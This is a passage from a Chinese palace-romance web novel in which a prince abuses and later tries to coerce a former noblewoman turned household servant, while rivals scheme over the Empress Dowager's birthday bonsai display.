那一刻,两个孤苦的女子,在破败的柴房中,互相靠近、取暖。
与此同时——
金殿,华光万丈。
朝堂之上,百官正在为太后生辰庆典由谁主办而争论不休。
此事,表面是孝心;
实则是皇子们的暗中角力。
昭帝裴易一脸深沉,迟迟不发话。
就在僵局之时,瑞王裴诚出列,恭声道:“儿臣举荐平王裴衍。”
殿下一片哗然。
所有人都知道,这位与平王裴衍,同为最有望问鼎储君之位。
裴诚没有理会,继续道:“四皇兄德才兼备,为我皇子之楷模,深得太后与陛下恩宠。此重任,非四皇兄莫属。”
一句话,将反对之声尽数堵死。
裴易目中闪过一丝讶色,但终究点头。
“准。”
裴衍受命,心中却并非只有喜,更有沉甸甸的压力。
太后难伺候,稍有不慎,便是满盘皆输。
下朝后,裴衍追上了裴诚几步,问道:“六弟,你今天这是为什么?”
“四哥是说举荐吗?”裴诚笑道,“四哥不必客气,王弟所言句句肺腑之言。“
“六弟这是把王兄架到了火上。太后趣味高雅,非是寻常人比的。如果不合太后心意,我等岂不是弄巧成拙了。“
“王兄此言甚是,也正因为如此,一旦入了太后法眼,亦可事半功倍。”
“说得轻巧,如何可以合太后心意?”
“让王弟好好想想,看看如何设计,方可得太后欢心。“
裴诚认真想了一下,然后一拍脑袋,说道:“有了!”
第12章 以盆景为主题
殿外风声如琴,叶影摇动。
裴诚将裴衍引至偏廊,面上带着三分笑意、七分深意。
“太后祖母出身太傅府,早年便被称为京都第一贵女,”裴诚低声道,“见识极高,品性清贵。她自贵女、皇后,再到太后……天下奇珍异宝于她而言,不过过眼云烟。若想以寻宝讨喜——四哥,此路绝不可行。”
裴衍本就心烦,此时眉头越锁越紧,“你绕这么多圈子,重点呢?到底怎么做?”
裴诚含笑道:“既然太后品性高雅,自然应从雅趣入手。四哥可还记得,太后偏殿里摆了数十盆盆景?家家名匠所献,构思高妙,不俗不媚。”
他顿了顿,眼底光色微亮:“太后生辰庆典,不如——以盆景为主题。”
裴衍怔了怔,继而点头,“六弟,看来还是你更心细。”
两人别过,那笑意亦随风而散。
回府途中
裴衍的眉心始终笼罩一股阴影。
——盆景。
不是人人都能摆,也不是人人都能懂。
太后本人便是行家,若方案不成,只会让人笑他不懂风雅。
最叫他不安的,是裴诚淡淡的一段分析。看似提醒,实则像把刀锋轻轻按在他心后背。
“小小年纪,城府深得可怕。”
裴衍心头闪过一丝凉意。
若今后他被裴诚压过一头,只怕连睡觉都难安稳。
他的心绪越发凌乱。
一抬头只见前方小道上,两个瘦弱身影正努力推着沉重的柴车。
乐阑珊。
还有小媛。
两人低头用力,粗布衣上落满木屑和灰尘。
那一幕刺在裴衍眼里,突刺般的刺痛。
更刺痛的,是他脑海里不受控制浮出的画面——
那日,裴诚亲自送乐阑珊来平王府。
那一幕,他越想越烦,越想越怒。
怒意直冲胸口。
乐阑珊抬起头的一瞬,看到裴衍眼里的火光几乎能将人焚成灰。
小媛吓得脸色煞白,连忙躲到乐阑珊身后。
“王爷。”
乐阑珊只低头,轻声行礼。
但她不卑不亢的站姿、肩颈的线条、被粗布遮掩仍难掩的气质,如同压不住的光芒四射。
哪怕毫无珠饰,只以竹钗绾发,她依旧清丽逼人,如暮云之边一抹薄光。
裴衍心口一震,眼睛竟微微晃了晃。
乐阑珊察觉到那一丝目光的异样,立刻拉着小媛后退,“王爷,奴婢们要赶去干活,不敢耽搁。”
刚要推车,小媛却双手发抖,动作乱了。
柴车猛地一歪,车身失衡。
乐阑珊腿伤未愈,力道不稳,被突来的冲势推得一个趔趄,整个人猝然跌进裴衍怀里。
那一瞬间,时间仿佛倒回许多年前。
那时的小阑珊,常借故跌倒到他怀里,一边哭一边撒赖,要他抱,要他哄。他虽知是小把戏,却偏偏甘之如饴。
而如今——
裴衍心底猛地一跳,却又一股莫名的恼意上升。
“你还是小丫头吗?”他冷声斥道,“还玩这种把戏!”
他一推。
阑珊腿软,整个人重重倒地。
粗布上衣被扯开,露出雪白肩头——
一片片青紫、乌黑,重叠交错,如野火烧尽的疮痕。
裴衍呼吸骤止。
那伤痕,比他想象的更深,更狠,更像地狱里爬出来的痕迹。
她究竟经历了什么?
裴衍心口揪了一下,几乎是本能蹲下,伸手将她扶起。
“你在杂役司,究竟遭了什么?”
他手指轻触她肩头,却像被烫到似的颤了一下。
“乐姐姐,你这是在做什么?”
带着哭腔的声音刺破了空气。
邓馨儿不知何时已站在廊下,目光震惊、委屈、伤心,几乎哭倒在裴衍怀里。
“王爷,王府规矩严明,奴婢不得勾引主子,是要受家法处罚的。”
她捂住心口,眼泪如珍珠般滚落,声音颤若惊雀:
“乐姐姐,我看在往日情分上才叫你一声姐姐。可你毕竟是我王府的奴婢,你、你怎能做出这种勾栏女子才会做的事?”
她哭着转头:“难道三年的杂役司,你没悔改,反倒学会这些下作手段了吗?”
乐阑珊站起来,拍去膝上尘土,轻轻一笑。
那笑意薄冷,比刀锋还利。
“邓馨儿,你以为人人都与你一样,为了爬上王爷的床,不择手段?”
“你—
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—胡说!”
邓馨儿泪珠滚落,“王爷是真心爱我,才娶我入门!”
“是吗?”阑珊淡淡道,“侧妃若要攀爬,自有手段,何需借奴婢......”
她话未说完,裴衍猛然上前,掐住她脖子。
力道之重,让阑珊呼吸瞬间断裂。
“阑珊!”裴衍怒声嘶吼,“你怎么变成这样?馨儿为救你,几次跪在王府门前求情,跪到昏厥!她那身子骨都是为你落下的病根!”
邓馨儿“啊”的一声,泪如雨下:
“王爷别怪姐姐,她心里苦,被罚三年,怨我怨得深。骂我几句,我不怪她,妾身不怪她。”
说到最后,她身子一软,整个人晕在裴衍怀里。
裴衍大惊失色,“快传府医!”
他抱着邓馨儿便走,只冷冷丢下一句:
“乐阑珊,跪两个时辰。”
风吹梧桐,树影如碎浪。
乐阑珊直直跪下,眼里没有泪,只有彻底的冷。
裴衍,你信她一句,却从不问我一句真。
她望着裴衍远去的背影,唇角冷嘲:
“邓馨儿,你们两个一唱一和,倒是和谐。”
记忆如潮涌来——
那时她跪在平王府门前,哭求、哀求、磕头求一命。裴衍连看都不看她,还一脚踹开。
邓馨儿……跪求?
笑话。
“不过算准你不会答应,才敢装出这副样子罢了。”阑珊心底冷笑,“果然,这些天一跪,便跪上了你的床榻。”
她抬头望天,乌云如压顶,沉得几乎窒息。
胸腔里一股冷意缓缓升起,凝成一句誓言:
“终有一日,我要你们——跪在我面前。”
小媛远远看着,不敢上前,眼眶红得像被火烫过。
偏偏这时,管家喝道:“小媛!把柴车拉回去!快!”
小媛只能含泪离开。
大雨将至。
府门外,一辆马车停下。
瑞王裴诚缓步进了府,衣袍猎猎,目色深沉。
小媛看见他时,忍不住投去一个怯生生的求救眼神。
裴诚脚步未停,却在擦肩而过时,眼底微微一动。
他似乎已明白——
这王府,又有新的风暴将起。
第13章 寝殿听欢
天色沉得像被墨汁浸透,远处雷声滚滚逼近。
裴诚踏入湖畔时,细雨已成密线,从檐角落下,滴在石阶上碎成一片薄光。
湖边,乐阑珊跪在雨中,衣裳尽湿,墨发贴在颊侧。她既不哭,也无求,只静静地跪着,安静得近乎固执。
雨水顺着她的肩头滑落,像一道道无声的折辱。
裴诚眸色一沉:“这是又出什么事了?”
他走近几步,冲着那张被雨水冲刷得冰凉的脸问道,“都已离了杂役司,怎又像个罪奴一样被罚在这里?”
乐阑珊抬起眼,目光清冷:“世道如此。一日为罪奴,终身为罪奴。”
“你这样看自己?”裴诚问。
“你们不都是这样想的吗?”
裴诚静了半息,摇头:“是否为罪奴,由一纸官书决定;但活得像不像罪奴,全在你自己心里。”
“王爷说得轻巧。”
“事在人为。”
她淡淡一笑:“王爷这是想救阑珊吗?”
“救你?”裴诚微抬下巴,“笑话。你若不能自已站起来,旁人救得再多,也只是在救一个空壳罢了。”
话音刚落,天穹被一道炸雷劈开。雷声震耳欲聋。
乐阑珊整个人像被抽走魂魄般,猛地捂住耳朵,身子绷成一条弦。雨水顺着她的指缝滴落,肩膀止不住地抖。
裴诚这才想起来——她最怕的就是雷声。
下一瞬,他几乎本能般前冲,一把将她紧紧揽入怀中,用自己的肩背为她遮住那一束束撕裂天空的白光。
她被雷声吓得全身发颤,呼吸急促。裴诚的体温,像是唯一能让她不至于崩溃的依托,她的手指死死抓住他的衣襟。
裴诚的胸腔起伏略乱,显然是被她突如其来的依偎震了一下。但他没有推开,只轻声道:“怕就抓着,别慌。”
乐阑珊被雨声和雷声层层包围,心底深处被撕开的那处旧伤痛得几乎发麻。
在杂役司的时候,只要雷电交织,便无数倍地折磨她——她尖叫、发抖、失控,而那些看守却关门偷笑,说这是罪奴活该。
可以前不是这样的。
以前,她被雷声吓哭时,总有一个身影替她挡住天威,永远站在她和雷声之间。
他承诺过——
会帮她挡一辈子的雷。
而如今他的怀抱,正属于另一个女人。
雷声与缠绵声,成了他们的伴乐。
这一念如针般扎入心口,乐阑珊忍不住将脸埋在裴诚肩头,泣不成声。
“阑珊,你——”身后忽然传来一个惊怒交加的声音。
裴衍带着仆人奔来,伞在仆人手里撑着,而他自己却淋在雨里,像急火攻心一般。
他快步上前,一把扯开两人,怒火腾地烧起,一巴掌甩在乐阑珊脸上。
“**!竟敢勾引瑞王爷!活腻了?”
雨声滂沱,那一巴掌清脆刺骨。
乐阑珊被扇倒在泥地,半侧脸迅速红肿,额发散落,狼狈不堪。
“四哥!”裴诚皱眉,拉住他,“王弟路过此地,恰好遇着打雷,这丫头怕得厉害,本王随手挡了一下雷。你何至于如此大惊小怪?”
“堂堂瑞王爷,会护一个奴婢?”裴衍咬牙,“六弟,你可真会说笑。”
“奴才?”裴诚笑意淡淡,“她可是四哥府中的奴才。若不是看在四哥面上,王弟才懒得管她的死活。”
裴衍怔住半瞬,雨水顺着他的鬓角滑下,落在眼睫。
他忽然感到心口堵得慌,却说不出是怒,是乱,还是一种莫名压不住的酸涩。
裴诚伸手接了接雨水:“这雨越下越大了,要不进屋一叙?”
裴衍沉了沉气,挥手让仆人为裴诚撑伞。
临走前,冷声道:“乐阑珊,跪够两个时辰。”
转身时,雨中那跪着的身影落入他的余光里——狼狈、倔强、死寂。
那一瞬,他喉头像被堵住般,生出一种从未有过的刺痛。猛地甩了甩伞下的雨,硬把那刺痛压了下去。
雷声越发密集。
裴诚回头冲乐阑珊喊道:“还不快回去?想让人说王爷刻薄下人?”
裴衍的眉凤狠狠一跳,却没有回头。
二人走后,小媛冒雨跌跌撞撞跑来,把乐阑珊扶起。雨水和泪水混成一片。她的左脸肿起,指尖因长跪而发抖。
“姐姐……”
乐阑珊只是勉力站稳,声音沙哑:“回去吧。”
书房内,暖香氤氲。
裴诚捧着茶,轻啜一口:“四哥府里的好茶,天下少有。”
“六弟今日恐非为茶而来吧?”裴衍坐下,衣裳半湿,眉间仍带着未散的烦燥。
“自然是为太后生辰的盆景之事。”裴诚道,“王弟想了想,以太后雅好,主题便用‘松鹤延年’方妥。”
“这算什么新意?”裴衍闷声说。
“新意不在主题,在呈现方式。”裴诚看他一眼,“四哥府中,不是有高人吗?”
“谁?”
“乐阑珊。”
裴衍心神倏地一震。
那名字像一把
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钩子,勾起他深藏很久的某段记忆。
——护国公府曾以盆景名动京华。
——护国公夫人满京第一巧手。
——阑珊自幼随祖母学艺,天赋冠绝同龄。
那段柔软的时光忽然扑面而来。
“怎么把这事忘了……”裴衍喃喃。
可随之而来的是更深的烦乱:
三年为奴,伤痕累累,她还会不会做盆景?
裴诚看穿他:“试试便知。”
裴衍顿时心口一紧,像被轻轻戳中一处暗痛,他掩饰道:“馨儿也会盆景。不如,先让她试试。”
裴诚低眉一笑,没有拆穿。
夜深。
乐阑珊被叫去寝殿守夜。
殿内烛火摇曳,帷帐深垂。她接过茶具,垂首站在床前,安静得像不存在。
很快,帷帐后便传来缠绵声。
她听得分辨得清是谁的声音——那是曾经少女心里珍若生命的衍哥哥,而如今,却在与另一个女人耳鬓厮磨。
殿中弥漫着暧昧、甜腻、刺骨的**。
守夜的侍女们神情麻木,显然**以为常。
乐阑珊一动不动,指尖却紧绷得发白。
她曾在贵女坊的窗下,偷描过和他未来的良辰美景;她以为她第一次听见这样的声音,应该是自己与他缠绵却羞涩的夜。
可如今——
听到的是他与别人的欢声。
她是被迫的旁观者。
被迫的守夜人。
被迫听见自己昔日全部的梦碎成一地。
她轻轻闭眼,心如被生生剜了一刀。
许久,帷帐内的声音渐止。
有人唤:“倒茶。”
她只能跪着递茶。
裴衍半倚着,抬手接过。烛光照在他肩颈,有种恍惚的朦胧。
他喝了几口,便从帷内伸手把茶杯递出来。
她接过时,指尖触到他的指腹。
裴衍像被刺到,忽地抓住她的手腕。
她猛地一震,像被烫到般甩开他的手,连看都不看一眼,转身决然离去。
裴衍盯着她离开的背影,胸中莫名一空。
那种空,让他烦躁、让他心乱——
让他恨不得再抓住她问一句:
你哭了吗?
你痛吗?
你为什么不看我?
你大可以求我!
可这些念头一出现,他便狠而快地压下。
乐阑珊退到殿角,微微低头。
“衍哥哥,你不再是我的衍哥哥了。”
“我乐阑珊此生,不会再为你流下一滴眼泪。”
第14章 苦的人不止我一个
清晨的薄雾尚未散尽,寝殿外的长廊依旧积着夜里的凉意。
乐阑珊靠着殿外廊柱,沉沉地睡去。
昨夜守夜的侍女们早已换班离开,新当值的人却故意迟迟不至,显然是有意让她多熬几个时辰。
这等小伎俩,在杂役司见得多了。
她心里清楚:别人迟到不过挨两句斥责,她若擅离,便是犯了大错。
既然逃不掉惩罚,不如趁着殿内尚安静,先让身体歇一歇,至少挨罚时还有力气。
她蜷在寒气里,睡得浅,却难得安稳。
薄雾透光,落在她的肩上,像替她披了一层微弱的守护。
寝殿内。
今日的裴衍醒得比往日都早。
昨夜因她在帐外守着,他与邓馨儿缠绵,竟无一丝别扭,甚至生出异样的兴奋。
他自己也不解缘由,只觉得那层薄薄的帷帐仿佛隔着一双眼睛,令他心中越发躁动。一夜三度,邓馨儿早已睡得香甜,他却难以成眠。
迷迷糊糊间,他梦见了三年前的那个雪夜——
少女踏雪而来,眉眼含笑,轻声唤他“衍哥哥”。
她的眼中有光,有暖意,有让人愿意将天下都赠与的温柔。
他伸手去拥她——
却抓了一个空,满掌清冷。
梦醒时,他胸口隐隐作痛,像被风雪掏空了什么。
索性翻身坐起,揉了揉眉心,半晌无言。那梦境如钩,勾得他心底酸涩难忍。
懒得再睡,裴衍披上外袍,吩咐了几声,却未得任何侍女应答,心头恼意更甚,负气推开殿门。
却见门前的柱下,有一抹静静蜷缩的身影。
晨光薄凉,落在她的发丝上,勾出一圈淡淡光晕。
乐阑珊睡得安静极了。
白净面庞上褪去了往日的傲气,只剩下疲惫与柔软。
一缕发丝顺着脸颊滑落,像春日的燕羽,又轻又柔。
她的睫毛微颤,像落在霜雪上的蝶翼。
那样的安静,那样的脆弱——
一瞬间让裴衍恍惚回到许多年前。
那年护国公府的春宴,她不过十四岁,笑着将一朵桃花插在他的发间,说:“衍哥哥,今日你比花还好看。”
笑声清脆,宛如风铃。
而如今,她瘦成这样了。
裴衍胸口像被人猛地撞了一记。
那种刺痛与心悸交错着往上涌,使他几乎喘不上气来。
“阑珊妹妹……”
他心底默念,眉眼忍不住柔软下来。
他忽然意识到:三年杂役司,她究竟是怎么活下来的?
她从小怕冷,他每次都替她披衣,如今她衣衫单薄,冷得直蜷。
裴衍不自觉轻叹,缓缓脱下自己的披风,格外轻地覆在她肩上。
指尖不经意触到她的脸——
凉得刺骨。
裴衍的心也跟着一紧。
就在这瞬间,乐阑珊睫毛轻颤,醒了。
她先是怔了怔,看清面前的男人时,神情却迅速归于平静——没有惊讶,没有依恋,没有怨,也没有喜。
她垂下眼,慢慢跪地,声音清淡如晨露——
“王爷早安。”
一句“王爷”,轻轻淡淡,却像一刀隔断了三年的山河。
裴衍怔住。
他本以为——
至少,会听到一个“衍哥哥”。
至少,她会像以往那般,眼底带着欢喜与依恋。
可什么都没有。
寂静得像一潭死水。
失望与落差在胸口炸裂,让他几乎忘了呼吸。
他的手僵在半空,良久才收回。
那一刻,他隐约感觉到什么东西从指尖滑落,再难捉住。
乐阑珊抬头,他从她眼里读到的不是恭顺,而是一种淡漠的克制——
仿佛任何人,都不再能触及她的心。
这让裴衍心底更乱,乱得近乎焦灼。
他沉下脸,声音冷冽:“守夜的奴婢,谁叫你睡觉的?”
语气尖冷,带着他自己都觉察不到的愠意。
乐阑珊垂目,不言不语。
在杂役司,她早学会了沉默。因为任何解释都会被当作狡辩,沉默反而最安全。
这份安静,像一盆冷水兜头浇下。
浇灭了裴衍心底刚燃起的怜惜。
又像一撮火星,越浇越旺,将他的烦躁点的更盛。
他几乎脱口而出要责罚她——
却被周管家打断:“王爷,时辰不早了,该备车上朝了。”
裴衍压着一股莫名之火,狠狠瞪了乐阑珊一眼,甩袖离去。
寝殿内。
邓馨儿正从昨夜的缠绵甜梦
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里醒来,心中憧憬着未来:若能怀上王子,登上正妃之位,京城百家将尽皆仰她眉眼。
可转身,却发现身侧的温度早就冰冷了。
她轻手轻脚来到殿门口——
正好看见裴衍为乐阑珊披衣的场景。
那一刻,她整个人几乎僵住。嫉意从胸口最深处汹涌而出,像火焰烧得她连指尖都在发抖。
“好你个乐阑珊,当了贱奴,还这么会狐媚。”
邓馨儿咬着唇,几乎忍不住冲上前去。
裴衍走过她身边时,不仅没看她一眼,连呼吸都懒得与她共一口。
反倒是周叔恭敬问:“侧王妃这儿,可有吩咐?”
裴衍眼皮都不抬:“赐她一碗避子汤。”
一句话,像利刃插入邓馨儿的心窝。
昨夜还与你云雨缱绻,今日便赐避子汤?
连一点温柔都不再假装?
她震在原地,胸口翻涌,几乎站不住。
裴衍走了几步,忽又回头,看了乐阑珊一眼。
“今晚,继续在此伺候。”
语气平平,像在宣告着什么。
邓馨儿彻底白了脸。
嬷嬷端来避子汤,瓷匙轻敲碗沿,脆声清亮。
她接过时,指尖已在抖。
苦药灌下喉咙,她的眼眶也酸涩欲裂。
“王爷真是……怜香惜玉呢。”
她咬着字,一字一字,像咬碎骨头。
转身时,她看见乐阑珊仍跪在门边。
晨光落在少女肩上,本是暖色,却映得她整个人如寒霜。
邓馨儿胸口酸毒交错,按捺不住,缓步走近:
“若不是你,王爷怎会如此待我?”
乐阑珊抬眼,语气依旧平静:“王爷待我如何,与侧妃无关。”
这一句轻轻的“无关”,却像针扎进邓馨儿的心口。
她猛地笑了,笑声尖锐而颤抖:
“无关?在他眼里,我是你——永远都是你!”
泪光在她眼底闪烁,如破碎的玻璃。
“乐阑珊,你这个妖媚的灾星。我若不得安宁,你也别想活得自在!”
话音未落,被风吹散。
殿门轻轻合上,隔出一帘冷光。
乐阑珊低头,嘴角泛起一抹极轻极淡的笑。
“原来苦的人,不止我一个。”
第15章 本王等这一刻……等了多久?
清晨初霁,寝殿外的阶石仍带着夜雨的湿意。
阳光渐暖,落在地上如碎金流动,可乐阑珊的心却依旧冷得像深冬的井水。
邓馨儿只看见裴衍替自己披衣的那一刻温柔,却看不见三年杂役司的漫漫暗夜;
只记得那件披风,却不知她曾多少个寒冬连御寒衣物都没有。
若能重新选择,她宁愿要一件粗布冬衣,也不要这片刻虚假的怜惜。
她低头起身,正要回柴院,殿内传来邓馨儿的尖细嗓音——
让她进去收拾房间。
王府婢女分工森然,轮不到她。
邓馨儿的意图,昭然若揭。
果然,寝殿里仍残留着昨夜缠绵后的暧昧气息,帐幔凌乱,锦被落地,那一切仿佛无声地炫耀着主人的得意。
但乐阑珊神色不动,仿佛已将这一切看得透彻。
她动作利落,将床榻整理得井井有条,连褶皱都抚得平整。
转身离开时,案几上一幅摊开的宣纸映入眼帘——
松石、苔痕、小骨架,显然是盆景设计。
她心中微动。
邓馨儿……盆景?
贵女坊时,她为了压自己一头曾拼命学过,却因缺乏慧心,终究只是能算得上“用功”,难称“巧思”。
见她的目光落在宣纸上,邓馨儿心中往事重涌,脸色浮起了难掩的恨意。
“别看了,”她端着下巴,语气得意,“这是我的手稿。王爷命我为太后生辰设计盆景贺礼。贵女坊里,我也是数一数二的高手。”
乐阑珊淡淡一笑。
“你笑什么!”邓馨儿心头大乱,“难道觉得我不如你?”
“奴婢怎敢。”她垂眸,“侧王妃尊贵,我不过一介奴婢,自然不敢妄自揣度。”
邓馨儿心中稍定。
可乐阑珊随即道:
“只是奴婢一言提醒:太后与奴婢祖母情谊深厚,太后对盆景造诣极深,非寻常雅趣可比。侧王妃既承王爷托付,切莫辜负了王爷的厚望。”
说罢,她行礼退下。
邓馨儿气得浑身发抖,险些抄起花瓶砸过去,被秀清一把拦住。
“小姐!王爷还在府中!”
邓馨儿咬牙坐回案边,盯着宣纸,看得额角青筋直跳。
秀清在旁小声劝道:“小姐,若能在太后生辰前出足风头,自然能得王爷青眼。”
“说得轻巧!”邓馨儿冷笑,“太后眼光挑得很,如何侍得她欢心?”
秀清点头:“奴婢听闻,这次是瑞王爷举荐咱们王爷主持生辰庆典的。瑞王爷的母妃出身太后宫中,了解太后喜好。小姐,若能求得瑞王母妃指点?”
邓馨儿一怔,觉得可行,立刻吩咐备礼。
下朝时,裴衍神色阴郁。
自从接下太后生辰的重任,他就日日如坐针毡。
都怪裴诚。
偏偏叫他从盆景动脑筋,这比让他提刀上阵还痛苦。
想想瑞王的城府、铺垫、温吞笑意……
让人摸不清,却偏偏不由自主地受他牵制。
心口郁结难消,裴衍回府时脾气坏到了极点。
今日邓馨儿没来迎接他。
想必仍在赌气“避子汤”的事。
裴衍心中冷哼:“侧妃的位子已给了她,她还奢望什么?正妃的位置从来不是留给她的。”
想着想着,他又想起在廊柱下睡得安稳的少女。
心口突然柔了一寸,便不自觉地往寝殿走去。
寝殿前廊,乐阑珊正跪着擦拭地面。
秋寒已深,水冰得刺骨。
她的指尖因冷而微微泛白,动作不再利落。
换水时,木桶沉重,她几乎站立不稳,脚下一滑。
一只有力的手及时托住她的臂,又接过了水桶。
溅出的冷水打湿了裴衍的衣襟。
乐阑珊怔住,忙跪下请罪,如惊弓之鸟。
裴衍胸口一闷,却不知为何突然心疼得厉害。
“阑珊……”
他的声音不自觉的轻柔,像怕惊碎了什么。
随即蹲下,抬手托起她的下颌。
那一双眼——
仍是三年前他心中倾慕的那双,清亮、傲然,不屈不折。
他几乎忘了呼吸。
这一刻,他恍惚回到护国公府的丁香树下。
那年,她十四岁,他十九。
她轻声问他:“衍哥哥,我将来能不能做你的王妃?”
他捧着她的脸,许下不容置疑的誓言:
“我平王的正妻,只能是你乐阑珊。”
回忆刺得他心下颤了颤。
潮水般的疼痛席卷而来。
“王爷,有何吩咐?”
她忽然语气平
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淡,像敷衍他。
温热的旧情,被她的冷淡如一盆雪水浇灭了。
裴衍的喉结滚动了以下:“阑珊,你就不能好好跟本王说一句话?”
“王爷希望奴婢如何说?”
“还能,再叫一句‘衍哥哥’吗?”
“奴婢身份卑微,不敢造次。”
裴衍胸口一紧,怒意与悲意一齐往上涌。
他猛地将她拉进怀里:“阑珊,你把我们之间的情意都忘了吗?”
“情意三年前就埋进了杂役司。”
她淡淡的声音,比刀子更冷。
裴衍心中某根弦“嘣”地断了。
他再也忍不住,抓着她的手腕,几乎是拽着她进了殿。
乐阑珊伤腿跟不上,步步踉跄,痛得额角都冒出了汗。
进殿后,裴衍再压抑不住翻涌的情绪,将她推倒在床榻上。
“王爷想做什么?”乐阑珊声音发颤。
“宠幸你。”
他脱下外袍,眼中带着压抑三年、几近失控的炙热。
“不要……王爷,求您放过奴婢……”
她惊慌地后退。
“你不是从小就想当平王妃吗?现在本王成全你!”
一句话,把她心底那点微弱的波动也强行压灭了。
她闭上眼,泪无声落下:“孩提愿望岂能当真?阑珊如今不过一个罪奴,不敢脏了王爷的床榻。”
“既知自己是奴,就当顺从主子。”
裴衍再不容她抗拒,俯身压下。
就在他靠近她的刹那,他的目光突然落在她颈侧——
一条淡淡的旧伤,如藤蔓般攀绕着肌肤。
他怔住。
那是三年前,她跪在王府门前求见,被侍卫推倒,撞在石阶上留下的痕迹。
他记得那天——
她在门外从清晨跪到夜半,他始终未见她。
裴衍的呼吸猛地紊乱。
胸口像被什么尖锐撕开。
他喉间哽住,指尖颤抖,动作僵在半空。
心底第一次,有一个声音狠狠撕咬着他:
——阑珊,这三年,你到底是怎么撑过来的?
——而我,又是怎么一次次,让你心死成这样?
他俯身,额头抵着她的额,声音低得像破碎:
“阑珊……你知不知道,本王等这一刻……等了多久?”
第16章 是梦见本王了吗?
“衍哥哥,我曾盼这一天,盼了许多年,可如今我不再奢望。”
乐阑珊的声音不大,却清冷如寒星,直刺裴衍的眼。
那目光里既有倔强,又带着一丝不可侵犯的凌厉,仿佛整个平王府都无法侵犯她的尊严。
裴衍一时间僵在原地,动作戛然而止,猛地站起,喉结滚动:“阑珊……你变了。”
他双手微微颤抖,紧握成拳,心头一阵苦涩与不甘交织。
“是,奴婢是变了。以前是京城贵女,如今却是一个罪奴。”
乐阑珊低声道,语气平静,却带着无法撼动的自信。她慢慢整理衣衫,仿佛在宣告:身份已不再是束缚,她有属于自己的底线。
这时,一声尖叫打破了寝殿的寂静。
邓馨儿出现在门口,眼神在往外喷火:“你……你们在做什么?”
裴衍眼神一冷,寒意骤起:“问有何用?你不都看见了吗?”
“侧王妃,奴婢并非你想的那样!”乐阑珊语调平静,语中带着几分冷意,却又不失从容。
“你这**!王爷的床,难道轮得上你这种罪奴去爬吗?”
邓馨儿恼怒至极,挥手欲打,裴衍一把抓住她的手腕,力道不大,却像无形的樊笼,瞬间定住她的气焰。
“够了,胡闹什么?本王之事,还轮不到你多嘴。”
邓馨儿怔立,几欲失语。
裴衍转向乐阑珊,声音低沉却充满威慑:“还不快滚出去?”
乐阑珊低眉一笑,疾步而行,腰肢微摆,每一步都带着柔媚的倔强和暗自得意。
因为她很清楚,即便是在**的身份下,她也能牢牢把控裴衍的视线。
裴衍的目光不由自主地凝固,心中浮现一丝悔意——为何对她的情感,总是迟疑不定,总是让她受委屈?
邓馨儿眼中几乎喷火:如此媚态的步伐,明明是罪奴,却像在刻意挑逗,难道她不知羞耻?
走到门口,乐阑珊心中暗自拿定主意:“这个王府我是不想再待下去了,必须尽快脱身,让自己有了自由之身,才有可能为祖父翻案,让全家团聚。”
想到这里,她胸中暗爽:自己终于在局势上占了先机!哪怕裴衍心中仍有情愫,也无法干扰她的计划。
裴衍正想上前,却**馨儿攥紧的手腕牵制住了。
她正要发作,秀清赶紧轻轻拉了一下她袖口,并使了个眼色。
邓馨儿会意过来,连忙换上笑脸,柔声道:“王爷,妾身刚才一时失态,还望见谅。妾身实在太爱王爷了。”
裴衍微微停步,目光中闪过一丝无法掩饰的悔意。自己对她的忽冷忽热,是否伤了她太多?
邓馨儿忙接着说:“既然王爷倾心乐姐姐,不如纳她入府为妾,妾身愿去劝说她。”
“不必。”裴衍冷声回绝,拂袖而去,语气中带着少有的沉重。
邓馨儿险些跌倒,被秀清扶住,泪眼婆娑:“同为京城贵女,为何阑珊什么都有,而我永远只是影子?”
秀清柔声劝慰:“小姐,她不过罪奴,又怎及您相背?”
“错了,罪奴只是外表。你看,我们去求见瑞王爷和祥嫔娘娘,结果被一顿不咸不淡的招待打发回来了,那些客套话一句比一句透着生硬,让人坐都坐不住。”
“那瑞王毕竟是外人,不好过问我们府里的事,只要咱们王爷心中有您就好。您看,全王府,王爷只有您一个侧王妃。”
“那又如何?还不是**要喝避子汤。堂堂的尚书之女,却屈尊做一个侧王妃。王爷的心隔着八丈远。”
“小姐,都说一入侯门深似海,更不要说当朝得势的平王府了。不去想那么多了,只要小姐可以帮到王爷,王爷自然记得小姐的好。”秀清耐心地劝慰着。
邓馨儿长叹,收起情绪,坐到案几前。
眼前的宣纸,她愣怔良久:若依旧模仿他人,尚可胜任;若要独创、独领风骚,她却无从下手。
思忖片刻,她对秀清低声道:“你速回尚书府,请父出面招募能人。只要舍得重金,自会有人出现。”
离开平王寝殿,乐阑珊回到柴房小院,身心俱疲,瘫倒在床。
昨夜通宵守夜,今晚又需通宵伺候,白天稍可喘
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息,却仍感疲惫如山。
脑中回旋的,全是裴衍和邓馨儿的身影,还有裴衍那份压迫与爱抚。
心底微微一震:自己是否尚未彻底死心?对平王仍有情感?
不行,不能让情绪左右自己,否则三年杂役司的苦功白费。
她强迫自己冷静:当前最佳策略,唯有脱身,重新获得自由。
睡意渐浓,梦中有一双手替她掩好被角,喂她桂花糕,偶尔高举让她焦急尖叫:
“衍哥哥,你又欺负我!”
猛地一下,乐阑珊惊醒,却见裴衍真的坐在床边。
她忙起身想行礼,却被他一把拦住:“是梦见本王了吗?”
“没有。”嘴硬,心中却暗骂:大白天扰我好梦,你晚上倒是可高枕无忧,我一夜不得安宁。
裴衍眉头微蹙,悔意在眼底浮现:自己为何总在关键时刻犹豫,让她受委屈?
“可明明听见你在喊本王。”
“王爷听错了。”
“还是嘴硬。”
“奴婢何人,怎可能梦王爷。”
她只想裴衍快走,好好睡觉。
“起来,陪本王品茶。”裴衍的命令如山压下。
乐阑珊闭眼不动:“奴婢不当值。”心中暗自叹息:连几个钟头安稳睡眠都无,真是烦透了。
“你!”裴衍怒极反笑,“好,那本王就在这里看你睡。”
乐阑珊心中暗爽:他如此心慌,竟被自己这一举一动牵动,倒是小小满足。
正欲开口,院外传来周叔急促呼喊:
“王爷!瑞王府急报,京郊已寻得护国公府盆景匠人陈伯!”
裴衍目光骤变,悔意更深——若早些留意此事,或许能让阑珊少受几分折磨。
乐阑珊全身僵硬——陈伯,祖父最信任的旧仆,也是军饷案关键证人,当年神秘失踪!
裴衍深深看她一眼,眼神复杂难辨,旋即大步离去。
柴院归于寂静,乐阑珊心中暗自庆幸,又微微感到一丝寒意——瑞王为何偏偏此刻寻得陈伯?
她轻轻闭上眼睛,心中暗自谋划:自由在手,一切才有可能。
第17章 本王的苦衷,你哪里知道?
裴衍赶到前厅时,裴诚已经等在那里了。
